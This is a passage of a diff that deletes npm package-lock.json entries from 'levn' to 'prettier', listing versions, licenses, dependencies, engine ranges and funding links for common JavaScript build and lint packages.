- "node_modules/levn": {
- "version": "0.4.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "prelude-ls": "^1.2.1",
- "type-check": "~0.4.0"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/lilconfig": {
- "version": "2.1.0",
- "license": "MIT",
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/lines-and-columns": {
- "version": "1.2.4",
- "license": "MIT"
- },
- "node_modules/lint-staged": {
- "version": "15.2.9",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "chalk": "~5.3.0",
- "commander": "~12.1.0",
- "debug": "~4.3.6",
- "execa": "~8.0.1",
- "lilconfig": "~3.1.2",
- "listr2": "~8.2.4",
- "micromatch": "~4.0.7",
- "pidtree": "~0.6.0",
- "string-argv": "~0.3.2",
- "yaml": "~2.5.0"
- },
- "bin": {
- "lint-staged": "bin/lint-staged.js"
- },
- "engines": {
- "node": ">=18.12.0"
- },
- "funding": {
- "url": "https://opencollective.com/lint-staged"
- }
- },
- "node_modules/lint-staged/node_modules/chalk": {
- "version": "5.3.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": "^12.17.0 || ^14.13 || >=16.0.0"
- },
- "funding": {
- "url": "https://github.com/chalk/chalk?sponsor=1"
- }
- },
- "node_modules/lint-staged/node_modules/commander": {
- "version": "12.1.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=18"
- }
- },
- "node_modules/lint-staged/node_modules/lilconfig": {
- "version": "3.1.2",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/antonk52"
- }
- },
- "node_modules/lint-staged/node_modules/yaml": {
- "version": "2.5.0",
- "dev": true,
- "license": "ISC",
- "bin": {
- "yaml": "bin.mjs"
- },
- "engines": {
- "node": ">= 14"
- }
- },
- "node_modules/listr2": {
- "version": "8.2.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "cli-truncate": "^4.0.0",
- "colorette": "^2.0.20",
- "eventemitter3": "^5.0.1",
- "log-update": "^6.1.0",
- "rfdc": "^1.4.1",
- "wrap-ansi": "^9.0.0"
- },
- "engines": {
- "node": ">=18.0.0"
- }
- },
- "node_modules/listr2/node_modules/ansi-styles": {
- "version": "6.2.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/listr2/node_modules/emoji-regex": {
- "version": "10.3.0",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/listr2/node_modules/string-width": {
- "version": "7.2.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "emoji-regex": "^10.3.0",
- "get-east-asian-width": "^1.0.0",
- "strip-ansi": "^7.1.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/listr2/node_modules/wrap-ansi": {
- "version": "9.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^6.2.1",
- "string-width": "^7.0.0",
- "strip-ansi": "^7.1.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/loader-runner": {
- "version": "2.4.0",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=4.3.0 <5.0.0 || >=5.10"
- }
- },
- "node_modules/loader-utils": {
- "version": "1.4.2",
- "license": "MIT",
- "dependencies": {
- "big.js": "^5.2.2",
- "emojis-list": "^3.0.0",
- "json5": "^1.0.1"
- },
- "engines": {
- "node": ">=4.0.0"
- }
- },
- "node_modules/locate-path": {
- "version": "5.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "p-locate": "^4.1.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/lodash.debounce": {
- "version": "4.0.8",
- "license": "MIT"
- },
- "node_modules/lodash.foreach": {
- "version": "4.5.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/lodash.get": {
- "version": "4.4.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/lodash.kebabcase": {
- "version": "4.1.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/lodash.mapkeys": {
- "version": "4.6.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/lodash.merge": {
- "version": "4.6.2",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/lodash.mergewith": {
- "version": "4.6.2",
- "license": "MIT"
- },
- "node_modules/lodash.omit": {
- "version": "4.5.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/log-update": {
- "version": "6.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "ansi-escapes": "^7.0.0",
- "cli-cursor": "^5.0.0",
- "slice-ansi": "^7.1.0",
- "strip-ansi": "^7.1.0",
- "wrap-ansi": "^9.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/log-update/node_modules/ansi-styles": {
- "version": "6.2.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/log-update/node_modules/emoji-regex": {
- "version": "10.3.0",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/log-update/node_modules/is-fullwidth-code-point": {
- "version": "5.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "get-east-asian-width": "^1.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/log-update/node_modules/slice-ansi": {
- "version": "7.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^6.2.1",
- "is-fullwidth-code-point": "^5.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/chalk/slice-ansi?sponsor=1"
- }
- },
- "node_modules/log-update/node_modules/string-width": {
- "version": "7.2.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "emoji-regex": "^10.3.0",
- "get-east-asian-width": "^1.0.0",
- "strip-ansi": "^7.1.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/log-update/node_modules/wrap-ansi": {
- "version": "9.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^6.2.1",
- "string-width": "^7.0.0",
- "strip-ansi": "^7.1.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
- }
- },
- "node_modules/loose-envify": {
- "version": "1.4.0",
- "license": "MIT",
- "dependencies": {
- "js-tokens": "^3.0.0 || ^4.0.0"
- },
- "bin": {
- "loose-envify": "cli.js"
- }
- },
- "node_modules/lru-cache": {
- "version": "10.2.2",
- "license": "ISC",
- "engines": {
- "node": "14 || >=16.14"
- }
- },
- "node_modules/lucide-react": {
- "version": "0.452.0",
- "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.452.0.tgz",
- "integrity": "sha512-kNefjOUOGm+Mu3KDiryONyPba9r+nhcrz5oJs3N6JDzGboQNEXw5GB3yB8rnV9/FA4bPyggNU6CRSihZm9MvSw==",
- "peerDependencies": {
- "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0-rc"
- }
- },
- "node_modules/make-dir": {
- "version": "3.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "semver": "^6.0.0"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/map-cache": {
- "version": "0.2.2",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/map-visit": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "object-visit": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/matchmediaquery": {
- "version": "0.4.2",
- "license": "MIT",
- "dependencies": {
- "css-mediaquery": "^0.1.2"
- }
- },
- "node_modules/md5.js": {
- "version": "1.3.5",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "hash-base": "^3.0.0",
- "inherits": "^2.0.1",
- "safe-buffer": "^5.1.2"
- }
- },
- "node_modules/memory-fs": {
- "version": "0.4.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "errno": "^0.1.3",
- "readable-stream": "^2.0.1"
- }
- },
- "node_modules/merge-stream": {
- "version": "2.0.0",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/merge2": {
- "version": "1.4.1",
- "license": "MIT",
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/micromatch": {
- "version": "4.0.7",
- "license": "MIT",
- "dependencies": {
- "braces": "^3.0.3",
- "picomatch": "^2.3.1"
- },
- "engines": {
- "node": ">=8.6"
- }
- },
- "node_modules/miller-rabin": {
- "version": "4.0.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "bn.js": "^4.0.0",
- "brorand": "^1.0.1"
- },
- "bin": {
- "miller-rabin": "bin/miller-rabin"
- }
- },
- "node_modules/miller-rabin/node_modules/bn.js": {
- "version": "4.12.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/mime": {
- "version": "2.6.0",
- "license": "MIT",
- "bin": {
- "mime": "cli.js"
- },
- "engines": {
- "node": ">=4.0.0"
- }
- },
- "node_modules/mime-db": {
- "version": "1.52.0",
- "license": "MIT",
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/mime-types": {
- "version": "2.1.35",
- "license": "MIT",
- "dependencies": {
- "mime-db": "1.52.0"
- },
- "engines": {
- "node": ">= 0.6"
- }
- },
- "node_modules/mimic-fn": {
- "version": "4.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/mimic-function": {
- "version": "5.0.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/minimalistic-assert": {
- "version": "1.0.1",
- "license": "ISC",
- "peer": true
- },
- "node_modules/minimalistic-crypto-utils": {
- "version": "1.0.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/minimatch": {
- "version": "3.1.2",
- "license": "ISC",
- "dependencies": {
- "brace-expansion": "^1.1.7"
- },
- "engines": {
- "node": "*"
- }
- },
- "node_modules/minimist": {
- "version": "1.2.8",
- "license": "MIT",
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/minipass": {
- "version": "7.1.2",
- "license": "ISC",
- "engines": {
- "node": ">=16 || 14 >=14.17"
- }
- },
- "node_modules/mississippi": {
- "version": "3.0.0",
- "license": "BSD-2-Clause",
- "peer": true,
- "dependencies": {
- "concat-stream": "^1.5.0",
- "duplexify": "^3.4.2",
- "end-of-stream": "^1.1.0",
- "flush-write-stream": "^1.0.0",
- "from2": "^2.1.0",
- "parallel-transform": "^1.1.0",
- "pump": "^3.0.0",
- "pumpify": "^1.3.3",
- "stream-each": "^1.1.0",
- "through2": "^2.0.0"
- },
- "engines": {
- "node": ">=4.0.0"
- }
- },
- "node_modules/mixin-deep": {
- "version": "1.3.2",
- "license": "MIT",
- "dependencies": {
- "for-in": "^1.0.2",
- "is-extendable": "^1.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/mkdirp": {
- "version": "0.5.6",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "minimist": "^1.2.6"
- },
- "bin": {
- "mkdirp": "bin/cmd.js"
- }
- },
- "node_modules/move-concurrently": {
- "version": "1.0.1",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "aproba": "^1.1.1",
- "copy-concurrently": "^1.0.0",
- "fs-write-stream-atomic": "^1.0.8",
- "mkdirp": "^0.5.1",
- "rimraf": "^2.5.4",
- "run-queue": "^1.0.3"
- }
- },
- "node_modules/ms": {
- "version": "2.1.2",
- "license": "MIT"
- },
- "node_modules/mz": {
- "version": "2.7.0",
- "license": "MIT",
- "dependencies": {
- "any-promise": "^1.0.0",
- "object-assign": "^4.0.1",
- "thenify-all": "^1.0.0"
- }
- },
- "node_modules/nanoid": {
- "version": "3.3.7",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "MIT",
- "bin": {
- "nanoid": "bin/nanoid.cjs"
- },
- "engines": {
- "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
- }
- },
- "node_modules/nanomatch": {
- "version": "1.2.13",
- "license": "MIT",
- "dependencies": {
- "arr-diff": "^4.0.0",
- "array-unique": "^0.3.2",
- "define-property": "^2.0.2",
- "extend-shallow": "^3.0.2",
- "fragment-cache": "^0.2.1",
- "is-windows": "^1.0.2",
- "kind-of": "^6.0.2",
- "object.pick": "^1.3.0",
- "regex-not": "^1.0.0",
- "snapdragon": "^0.8.1",
- "to-regex": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/natural-compare": {
- "version": "1.4.0",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/neo-async": {
- "version": "2.6.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/next": {
- "version": "14.2.5",
- "license": "MIT",
- "dependencies": {
- "@next/env": "14.2.5",
- "@swc/helpers": "0.5.5",
- "busboy": "1.6.0",
- "caniuse-lite": "^1.0.30001579",
- "graceful-fs": "^4.2.11",
- "postcss": "8.4.31",
- "styled-jsx": "5.1.1"
- },
- "bin": {
- "next": "dist/bin/next"
- },
- "engines": {
- "node": ">=18.17.0"
- },
- "optionalDependencies": {
- "@next/swc-darwin-arm64": "14.2.5",
- "@next/swc-darwin-x64": "14.2.5",
- "@next/swc-linux-arm64-gnu": "14.2.5",
- "@next/swc-linux-arm64-musl": "14.2.5",
- "@next/swc-linux-x64-gnu": "14.2.5",
- "@next/swc-linux-x64-musl": "14.2.5",
- "@next/swc-win32-arm64-msvc": "14.2.5",
- "@next/swc-win32-ia32-msvc": "14.2.5",
- "@next/swc-win32-x64-msvc": "14.2.5"
- },
- "peerDependencies": {
- "@opentelemetry/api": "^1.1.0",
- "@playwright/test": "^1.41.2",
- "react": "^18.2.0",
- "react-dom": "^18.2.0",
- "sass": "^1.3.0"
- },
- "peerDependenciesMeta": {
- "@opentelemetry/api": {
- "optional": true
- },
- "@playwright/test": {
- "optional": true
- },
- "sass": {
- "optional": true
- }
- }
- },
- "node_modules/next-optimized-images": {
- "version": "2.6.2",
- "license": "MIT",
- "dependencies": {
- "chalk": "^2.4.2",
- "figures": "^3.0.0",
- "file-loader": "^3.0.1",
- "imagemin": "^6.1.0",
- "img-loader": "^3.0.1",
- "raw-loader": "^2.0.0",
- "url-loader": "^1.1.2"
- }
- },
- "node_modules/next/node_modules/postcss": {
- "version": "8.4.31",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/postcss"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "nanoid": "^3.3.6",
- "picocolors": "^1.0.0",
- "source-map-js": "^1.0.2"
- },
- "engines": {
- "node": "^10 || ^12 || >=14"
- }
- },
- "node_modules/node-libs-browser": {
- "version": "2.2.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "assert": "^1.1.1",
- "browserify-zlib": "^0.2.0",
- "buffer": "^4.3.0",
- "console-browserify": "^1.1.0",
- "constants-browserify": "^1.0.0",
- "crypto-browserify": "^3.11.0",
- "domain-browser": "^1.1.1",
- "events": "^3.0.0",
- "https-browserify": "^1.0.0",
- "os-browserify": "^0.3.0",
- "path-browserify": "0.0.1",
- "process": "^0.11.10",
- "punycode": "^1.2.4",
- "querystring-es3": "^0.2.0",
- "readable-stream": "^2.3.3",
- "stream-browserify": "^2.0.1",
- "stream-http": "^2.7.2",
- "string_decoder": "^1.0.0",
- "timers-browserify": "^2.0.4",
- "tty-browserify": "0.0.0",
- "url": "^0.11.0",
- "util": "^0.11.0",
- "vm-browserify": "^1.0.1"
- }
- },
- "node_modules/node-libs-browser/node_modules/punycode": {
- "version": "1.4.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/node-releases": {
- "version": "2.0.18",
- "license": "MIT"
- },
- "node_modules/normalize-path": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/normalize-range": {
- "version": "0.1.2",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/npm-run-path": {
- "version": "5.3.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "path-key": "^4.0.0"
- },
- "engines": {
- "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/npm-run-path/node_modules/path-key": {
- "version": "4.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/nwsapi": {
- "version": "2.2.12",
- "license": "MIT"
- },
- "node_modules/object-assign": {
- "version": "4.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object-copy": {
- "version": "0.1.0",
- "license": "MIT",
- "dependencies": {
- "copy-descriptor": "^0.1.0",
- "define-property": "^0.2.5",
- "kind-of": "^3.0.3"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object-copy/node_modules/define-property": {
- "version": "0.2.5",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object-copy/node_modules/is-descriptor": {
- "version": "0.1.7",
- "license": "MIT",
- "dependencies": {
- "is-accessor-descriptor": "^1.0.1",
- "is-data-descriptor": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/object-copy/node_modules/kind-of": {
- "version": "3.2.2",
- "license": "MIT",
- "dependencies": {
- "is-buffer": "^1.1.5"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object-hash": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/object-inspect": {
- "version": "1.13.2",
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/object-keys": {
- "version": "1.1.1",
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/object-visit": {
- "version": "1.0.1",
- "license": "MIT",
- "dependencies": {
- "isobject": "^3.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object.assign": {
- "version": "4.1.5",
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.5",
- "define-properties": "^1.2.1",
- "has-symbols": "^1.0.3",
- "object-keys": "^1.1.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/object.entries": {
- "version": "1.1.8",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/object.fromentries": {
- "version": "2.0.8",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/object.pick": {
- "version": "1.3.0",
- "license": "MIT",
- "dependencies": {
- "isobject": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/object.values": {
- "version": "1.2.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-object-atoms": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/once": {
- "version": "1.4.0",
- "license": "ISC",
- "dependencies": {
- "wrappy": "1"
- }
- },
- "node_modules/onetime": {
- "version": "6.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "mimic-fn": "^4.0.0"
- },
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/optionator": {
- "version": "0.9.4",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "deep-is": "^0.1.3",
- "fast-levenshtein": "^2.0.6",
- "levn": "^0.4.1",
- "prelude-ls": "^1.2.1",
- "type-check": "^0.4.0",
- "word-wrap": "^1.2.5"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/os-browserify": {
- "version": "0.3.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/p-limit": {
- "version": "2.3.0",
- "license": "MIT",
- "dependencies": {
- "p-try": "^2.0.0"
- },
- "engines": {
- "node": ">=6"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/p-locate": {
- "version": "4.1.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "p-limit": "^2.2.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/p-pipe": {
- "version": "1.2.0",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/p-try": {
- "version": "2.2.0",
- "license": "MIT",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/package-json-from-dist": {
- "version": "1.0.0",
- "license": "BlueOak-1.0.0"
- },
- "node_modules/pako": {
- "version": "1.0.11",
- "license": "(MIT AND Zlib)",
- "peer": true
- },
- "node_modules/parallel-transform": {
- "version": "1.2.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "cyclist": "^1.0.1",
- "inherits": "^2.0.3",
- "readable-stream": "^2.1.5"
- }
- },
- "node_modules/parent-module": {
- "version": "1.0.1",
- "license": "MIT",
- "dependencies": {
- "callsites": "^3.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/parse-asn1": {
- "version": "5.1.7",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "asn1.js": "^4.10.1",
- "browserify-aes": "^1.2.0",
- "evp_bytestokey": "^1.0.3",
- "hash-base": "~3.0",
- "pbkdf2": "^3.1.2",
- "safe-buffer": "^5.2.1"
- },
- "engines": {
- "node": ">= 0.10"
- }
- },
- "node_modules/parse-json": {
- "version": "5.2.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/code-frame": "^7.0.0",
- "error-ex": "^1.3.1",
- "json-parse-even-better-errors": "^2.3.0",
- "lines-and-columns": "^1.1.6"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/parse5": {
- "version": "7.1.2",
- "license": "MIT",
- "dependencies": {
- "entities": "^4.4.0"
- },
- "funding": {
- "url": "https://github.com/inikulin/parse5?sponsor=1"
- }
- },
- "node_modules/pascalcase": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/path-browserify": {
- "version": "0.0.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/path-dirname": {
- "version": "1.0.2",
- "license": "MIT"
- },
- "node_modules/path-exists": {
- "version": "4.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/path-is-absolute": {
- "version": "1.0.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/path-key": {
- "version": "3.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/path-parse": {
- "version": "1.0.7",
- "license": "MIT"
- },
- "node_modules/path-scurry": {
- "version": "1.11.1",
- "license": "BlueOak-1.0.0",
- "dependencies": {
- "lru-cache": "^10.2.0",
- "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0"
- },
- "engines": {
- "node": ">=16 || 14 >=14.18"
- },
- "funding": {
- "url": "https://github.com/sponsors/isaacs"
- }
- },
- "node_modules/path-type": {
- "version": "4.0.0",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/pbkdf2": {
- "version": "3.1.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "create-hash": "^1.1.2",
- "create-hmac": "^1.1.4",
- "ripemd160": "^2.0.1",
- "safe-buffer": "^5.0.1",
- "sha.js": "^2.4.8"
- },
- "engines": {
- "node": ">=0.12"
- }
- },
- "node_modules/picocolors": {
- "version": "1.0.1",
- "license": "ISC"
- },
- "node_modules/picomatch": {
- "version": "2.3.1",
- "license": "MIT",
- "engines": {
- "node": ">=8.6"
- },
- "funding": {
- "url": "https://github.com/sponsors/jonschlinkert"
- }
- },
- "node_modules/pidtree": {
- "version": "0.6.0",
- "dev": true,
- "license": "MIT",
- "bin": {
- "pidtree": "bin/pidtree.js"
- },
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/pify": {
- "version": "2.3.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/pinkie": {
- "version": "2.0.4",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/pinkie-promise": {
- "version": "2.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "pinkie": "^2.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/pirates": {
- "version": "4.0.6",
- "license": "MIT",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/pkg-dir": {
- "version": "4.2.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "find-up": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/posix-character-classes": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/possible-typed-array-names": {
- "version": "1.0.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/postcss": {
- "version": "8.4.41",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/postcss"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "nanoid": "^3.3.7",
- "picocolors": "^1.0.1",
- "source-map-js": "^1.2.0"
- },
- "engines": {
- "node": "^10 || ^12 || >=14"
- }
- },
- "node_modules/postcss-import": {
- "version": "15.1.0",
- "license": "MIT",
- "dependencies": {
- "postcss-value-parser": "^4.0.0",
- "read-cache": "^1.0.0",
- "resolve": "^1.1.7"
- },
- "engines": {
- "node": ">=14.0.0"
- },
- "peerDependencies": {
- "postcss": "^8.0.0"
- }
- },
- "node_modules/postcss-js": {
- "version": "4.0.1",
- "license": "MIT",
- "dependencies": {
- "camelcase-css": "^2.0.1"
- },
- "engines": {
- "node": "^12 || ^14 || >= 16"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- "peerDependencies": {
- "postcss": "^8.4.21"
- }
- },
- "node_modules/postcss-load-config": {
- "version": "4.0.2",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "lilconfig": "^3.0.0",
- "yaml": "^2.3.4"
- },
- "engines": {
- "node": ">= 14"
- },
- "peerDependencies": {
- "postcss": ">=8.0.9",
- "ts-node": ">=9.0.0"
- },
- "peerDependenciesMeta": {
- "postcss": {
- "optional": true
- },
- "ts-node": {
- "optional": true
- }
- }
- },
- "node_modules/postcss-load-config/node_modules/lilconfig": {
- "version": "3.1.2",
- "license": "MIT",
- "engines": {
- "node": ">=14"
- },
- "funding": {
- "url": "https://github.com/sponsors/antonk52"
- }
- },
- "node_modules/postcss-load-config/node_modules/yaml": {
- "version": "2.4.5",
- "license": "ISC",
- "bin": {
- "yaml": "bin.mjs"
- },
- "engines": {
- "node": ">= 14"
- }
- },
- "node_modules/postcss-nested": {
- "version": "6.0.1",
- "license": "MIT",
- "dependencies": {
- "postcss-selector-parser": "^6.0.11"
- },
- "engines": {
- "node": ">=12.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- "peerDependencies": {
- "postcss": "^8.2.14"
- }
- },
- "node_modules/postcss-selector-parser": {
- "version": "6.1.0",
- "license": "MIT",
- "dependencies": {
- "cssesc": "^3.0.0",
- "util-deprecate": "^1.0.2"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/postcss-value-parser": {
- "version": "4.2.0",
- "license": "MIT"
- },
- "node_modules/prelude-ls": {
- "version": "1.2.1",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/prettier": {
- "version": "3.3.3",
- "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.3.3.tgz",
